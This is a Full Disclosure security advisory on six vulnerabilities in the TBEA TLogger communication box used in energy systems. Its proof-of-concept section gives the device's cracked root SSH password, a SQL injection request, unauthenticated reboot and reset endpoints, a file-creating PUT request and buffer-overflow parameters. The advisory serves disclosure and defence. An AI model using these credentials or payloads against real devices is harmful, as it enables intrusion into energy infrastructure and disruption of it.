Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation

[Thomas Weber | CyberDanube via Fulldisclosure <fulldisclosure () seclists org>]

-------------------------------------------------------------------------------
title| Multiple Vulnerabilities in TBEA TLogger
product| TBEA TLogger (TBEA Communication Box 3rd Generation)
vulnerable version| V2.1.0.0B0.0.0.0
fixed version| -
CVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,
| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683
impact| Critical
homepage| https://www.tbea.com/
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"TBEA, a group committed to “green and low-carbon development”, is a pioneer in
global energy-efficient power transmission and distribution, and a
industry-leading service provider of clean energy solutions."
Source: https://en.tbea.com/about.html
Vulnerable versions
-------------------------------------------------------------------------------
TBEA TLogger / V2.1.0.0B0.0.0.0

Vulnerability overview
-------------------------------------------------------------------------------
1) Backdoor Account (CVE-2025-13293)
The TLogger exposes SSH to the network. This SSH service also allows root
login on the device. By cracking the hash from the file '/etc/shadow' it was
possible to recover the password.
2) Unauthenticated SQL Injection (CVE-2025-13294)
The webserver accepts unauthenticated request that trigger SQLite Queries from
the CCU.db, these request are vulnerable the SQL injections. An attacker can
modify, read and delete data this way.
3) Information Disclosure via UART (CVE-2025-15680)
The UART interface is exposed on the circuit board. A physical attacker can use
the interface to observer the boot procedure and get valuable debug information
from the system via this way.
4) Insufficient Webserver Authentication (CVE-2025-15681)
The authentication of the webserver was implemented in an insufficient way. A
user can bypass the login via browsing to another endpoint of the system.
This is only possible if any user was logged into the device previously.
5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
The webserver accepts a unauthenticated PUT request that create files
containing user specified data in /opt/myapp/webserver/.
6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
The webserver can be put in denial of service conditions by accessing to
specific endpoints. These endpoints do not require any previous authentication.
Proof of Concept
-------------------------------------------------------------------------------
1) Backdoor Account (CVE-2025-13293)
By reading out the file /etc/shadow, the hash of the user root gets exposed:
root:aH8eS1ufCL7xY:17464:0:99999:7:::
The cracked password is: tbea1234
This can be used to login as root user via SSH to the device.
2) Unauthenticated SQL Injection (CVE-2025-13294)
By sending a request where one of the parameters contains a URL encoded SQL
injection you can modify the output from the query:
~
GET /action/DayCapacity?&date="1'+OR+1%3d1%3b--" HTTP/1.1
Host: 192.168.19.132
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: tbea_language=en
Upgrade-Insecure-Requests: 1
Priority: u=0, i
~
This happens because the value of date is added to the query string without any
parsing or validation:
~
char* r0_5 = websGetVar(wp_1, "date", 0x963a4, &wp_1)
sprintf(&var_5cc, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ", r0_5,
"where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ")
strcat(&sql, &var_5cc)
~
The same method is used through out the webserver. Therefore, multiple "action"
endpoints that are prone to the SQL injection vulnerability:
Selects:

  *
DayCapacity
  *
MonthCapacity
  *
YearCaparity
  *
recordData
  *
InvHistoryData (&index>=1000)
  *
CollectHistoryData
  *
InvFaultData (&index>=100)
  *
GetPortTableByParm
  *
GetDicTransmit
  *
GetDicDataPoint
  *
GetXMLConfigByIPAndTypeCode
  *
GetDicDataPointByInfo
  *
Getstation_data
  *
Getcustom_data
  *
GetXmlSgnalConfig
  *
getTrackParaData
Deletes:
  *
DeletePortTable1_4ByParm
  *
DeleteHostIP_configByIp
  *
DeleteIP_configByIp
  *
DeleteDicTransmit
  *
DeleteDicDataPoint
  *
XMLInfoInDb

3) Information Disclosure via UART (CVE-2025-15680)
Two pins on the backside of the TLogger PCB can be used to gain UART access.
By attaching a UART-to-USB serial converter, the following system startup can
be observed:
~
U-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)
CPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)
CPU: Temperature 32 C
Reset cause: POR
Board: EPC-M6Y2C
Watchdog enabled
DRAM: 256 MiB
NAND: 256 MiB
MMC: FSL_SDHC: 0
In: serial
Out: serial
Err: serial
Net: FEC1
Normal Boot
Hit 'zlg' to stop autoboot: 2 1 0
[...]
IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
ifconfig: SIOCSIFFLAGS: Operation not permitted
/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can't create
/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied
set file system rw start
set file system rw end
/sbin:/usr/sbin:/bin:/usr/bin
/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -
4.8.6/plugins/imageformats:/usr/local/tslib/lib:
main() start.
--------------------
System: system start to run...
[...]
debug IP=192.168.1.253
route: SIOCADDRT: File exists
webserver: 2: Configuration for Embedthis webserver
webserver: 2: ---------------------------------------------
webserver: 2: Version: V2.1.0.0B0.0.0.0
webserver: 2: BuildType: Debug
webserver: 2: CPU: arm
webserver: 2: OS: linux
webserver: 2: Host: 192.168.2.253
webserver: 2: Directory: /opt/myapp/webserver
webserver: 2: Documents: web
webserver: 2: Configure: me -d -q -platform windows-x86-default -
configure . -without ssl -gen vs
webserver: 2: ---------------------------------------------
webserver: 2: Started http://:80
~
Such details and the resulting debug capabilities enable a physical attacker to
debug the device effectively during runtime.
4) Insufficient Webserver Authentication (CVE-2025-15681)
The webserver of the TLogger required to be logged in to the application for
administrating the device. If a user has been authenticated correctly in a
previous session, it was possible for a malicious actor to browse to the
endpoint "/index.asp", and bypass the login process completely. The root cause
is suspected to be a memory management issue within the webserver daemon itself.
An attacker can not see its user name as there are just memory residue, which
are displayed instead of admin. If such an unauthenticated-but-authenticated
user logs out, the webserver crashes.

5) Unauthenticated Resource Exhaustion (CVE-2025-15682)
By sending a PUT request to the endpoint "/tmp/", the webserver creates the
file "/opt/myapp/webserver/put-0.tmp" containing the data from the request
body. Every subsequent request will create a new file e.g. "put-1.tmp":
~
PUT /tmp/ HTTP/1.1
Host: 192.168.19.132
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: tbea_language=en
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 22
USERSPECIFIED DATA
~
These file aren’t deleted automatically, leading to a memory resource
exhaustion. This issue occurs because the webserver attempts to move the
generated "put-1.tmp" file into "/opt/myapp/webserver/web/tmp/". However, the
"web/tmp/" directory does not exist.

6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)
Different DoS conditions can be triggered via the webserver on the device.
Unauthenticated DoS Actions:
The webserver allows for multiple unauthenticated /action calls that result in
a DoS:

  *
/action/onRestart - Triggers a reboot
  *
/action/onReset - Sets FLAG_RECREATE followed by reboot
  *
/action/ClearData - Sets FLAG_CLEARDATA
  *
/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver

Unauthenticated DoS via Buffer Overflow
Multiple /action calls, when sent with certain parameters, result in a Segfault
of the Webserver because of a buffer overflow. This happens because the typical
method to assemble the queries is sprintf() and strcat() without any length
checks.
Vulnerable action calls:

  *
/action/getIndiaRPData index=”1’--aaaabaaacaaadaaaeaaafa” type=1D
  *
/action/YearCaparity date=’A’300
  *
/action/TotalfaultData startDate=’A’300
  *
/action/recordData startDate=’A’300
  *
/action/InvHistoryData index>=1000 startDate=’A’300
  *
/action/CollectHistoryData startDate=’A’300
  *
/action/InvFaultData index>=100 startDate=’A’300
  *
/action/GetPortTableByParm port='A'2000
  *
/action/UpdatePortConfig port='A'2000

Solution
-------------------------------------------------------------------------------
None.

Workaround
-------------------------------------------------------------------------------
Restrict network and physical access to the device. The component should only
be operated in an encapsulated/air-gapped environment.

Recommendation
-------------------------------------------------------------------------------
Implement a customized action plan in advance, if the product should be
integrated in the infrastructure.

Contact Timeline
-------------------------------------------------------------------------------
2026-01-07: Contacted Austrian Energy CERT
2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com
regarding potential vulnerabilities.
2026-01-22: Contact attempt via LinkedIn with alleged "International Business
Manager at TBEA".
2026-01-22: Attempted to get contact addresses via other european CERTs.
2026-01-22: Attempted to get contact addresses via Energy ISAC.
2026-04-27: Sent initial findings regarding CVE-2025-13293 and
CVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.
2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,
CVE-2025-15682 and CVE-2025-15683 to generic mailbox
tbeaoffice[@]tbea[.]com.
2026-08-10: Advisory publication.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/